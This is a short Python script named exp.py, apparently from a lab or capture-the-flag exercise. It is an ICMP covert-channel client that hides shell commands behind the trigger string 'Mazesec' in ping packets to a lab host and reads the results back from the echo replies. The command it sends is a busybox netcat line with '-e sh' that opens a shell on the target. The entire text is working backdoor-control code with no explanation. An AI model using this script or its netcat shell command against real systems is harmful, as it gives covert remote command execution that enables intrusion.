1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| cat exp.py
import socket import struct import time from scapy.all import ICMP, IP, Raw, send, sniff
class ICMPClient: def __init__(self, target_ip, iface="eth0"): self.target_ip = target_ip self.iface = iface self.seq = 1 def send_command(self, command): trigger = b"Mazesec" cmd_bytes = command.encode('utf-8') cmd_len = struct.pack('>I', len(cmd_bytes)) payload = trigger + cmd_len + cmd_bytes packet = IP(dst=self.target_ip)/ICMP(type=8, id=0x1234, seq=self.seq)/Raw(load=payload) send(packet, iface=self.iface, verbose=0) print(f"[+] Sent command: {command}") self.seq += 1 def listen_response(self, timeout=10): start_time = time.time() def response_handler(packet): if (packet.haslayer(ICMP) and packet[ICMP].type == 0 and packet.haslayer(Raw) and b"Mazesec" in bytes(packet[Raw].load)): data = bytes(packet[Raw].load) trigger_len = len(b"Mazesec") result_len = struct.unpack('>I', data[trigger_len:trigger_len+4])[0] result = data[trigger_len+4:trigger_len+4+result_len].decode('utf-8', errors='ignore') print(f"\n[+] Response received:\n{result}") return True return False sniff(iface=self.iface, filter="icmp", stop_filter=response_handler, timeout=timeout)
if __name__ == "__main__": client = ICMPClient("192.168.56.104") client.send_command("busybox nc 192.168.56.104 9999 -e sh") client.listen_response()
|